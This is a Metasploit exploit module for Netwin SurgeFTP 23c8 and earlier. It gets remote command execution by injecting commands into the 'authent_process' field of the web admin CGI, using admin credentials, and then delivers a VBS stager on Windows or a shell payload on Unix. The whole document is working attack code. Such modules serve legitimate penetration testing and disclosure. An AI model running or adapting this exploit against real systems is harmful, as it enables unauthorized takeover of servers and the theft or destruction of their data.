Netwin SurgeFTP - Remote Command Execution (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::CmdStagerVBS

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Netwin SurgeFTP Remote Command Execution',
			'Description'    => %q{
					This module exploits a vulnerability found in Netwin SurgeFTP, version 23c8
				or prior.  In order to execute commands via the FTP service, please note that
				you must have a valid credential to the web-based administrative console.
			},
			'Author'         =>
				[
					'Spencer McIntyre',  #Who found this vuln?
					'sinn3r'
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['EDB', '23522']
				],
			'Targets'        =>
				[
					[ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win'}  ],
					[ 'Unix',    { 'Arch'=>ARCH_CMD, 'Platform'=>'unix', 'Payload'=>{'BadChars' => "\x22"}} ]
				],
			'DisclosureDate' => 'Dec 06 2012'))

		register_options(
			[
				Opt::RPORT(7021),
				OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
				OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ])
			], self.class)
	end

	def check
		res = send_request_raw({'uri'=>'/cgi/surgeftpmgr.cgi'})
		if res and res.body =~ /surgeftp\x20\x0d\x0a\x20\x20Manager CGI/
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end
	end

	def execute_command(cmd, opts)
		http_send_command("cmd.exe /q /c #{cmd}")
	end

	def http_send_command(command)
		res = send_request_cgi(
		{
			'uri'     => '/cgi/surgeftpmgr.cgi',
			'method'  => 'POST',
			'basic_auth' => datastore['USERNAME'] + ":" + datastore['PASSWORD'],
			'vars_post' =>
				{
					'global_smtp' => "",
					'global_restart' => "",
					'global_style' => "",
					'global_bind' => "",
					'global_passive_ip' => "",
					'global_passive_match' => "",
					'global_logon_mode' => "",
					'global_log_host' => "",
					'global_login_error' => "",
					'global_adminip' => "",
					'global_total_users' => "",
					'global_con_perip' => "",
					'global_ssl' => "",
					'global_ssl_cipher_list' => "",
					'global_implicit_port' => "",
					'log_level' => "",
					'log_home' => "",
					'global_watcher_program_ul' => "",
					'global_watcher_program_dl' => "",
					'authent_process' => command,
					'authent_cmdopts' => "",
					'authent_number' => "",
					'authent_domain' => "",
					'global_strip_user_domain' => "",
					'global_noclass' => "",
					'global_anon_hammer_over_time' => "",
					'global_anon_hammer_max' => "",
					'global_anon_hammer_block_time' => "",
					'global_port' => "",
					'global_mgr_port' => "",
					'global_mgr_ssl_port' => "",
					'cmd_global_save.x' => "36",
					'cmd_global_save.y' => "8",
				}
		})

		if res and res.body =~ /401 Authorization failed/
			fail_with(Exploit::Failure::NoAccess, "Unable to log in!")
		elsif not (res and res.code == 200)
			fail_with(Exploit::Failure::Unknown, 'Failed to execute command.')
		end
	end

	def exploit
		case target['Platform']
		when 'win'
			print_status("#{rhost}:#{rport} - Sending VBS stager...")
			execute_cmdstager({:linemax=>500})

		when 'unix'
			print_status("#{rhost}:#{rport} - Sending payload...")
			http_send_command(%Q|/bin/sh -c "#{payload.encoded}"|)
		end

		handler
	end
end